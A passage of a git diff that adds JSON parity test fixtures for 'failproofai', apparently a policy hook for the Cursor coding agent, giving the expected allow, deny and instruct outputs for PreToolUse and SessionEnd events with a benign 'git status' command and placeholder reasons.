"parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PreToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..cc9261db --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PreToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e2729ee2 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PreToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..7d431fd1 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PreToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..3e6f5bbd --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PreToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..8e8601f5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PreToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d1541cc2 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PreToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..e12fe8e1 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PreToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..68dae872 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PreToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..78525b46 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PreToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a655abc0 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SessionEnd/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..aa760176 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SessionEnd/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..a17aecc9 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SessionEnd/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9a6a898e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SessionEnd/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a900f7b5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SessionEnd/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..79da34a9 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SessionEnd/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..c77f562a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SessionEnd/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..0d821daa --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionEnd/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SessionEnd/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..af3c6fba --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionEnd/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": 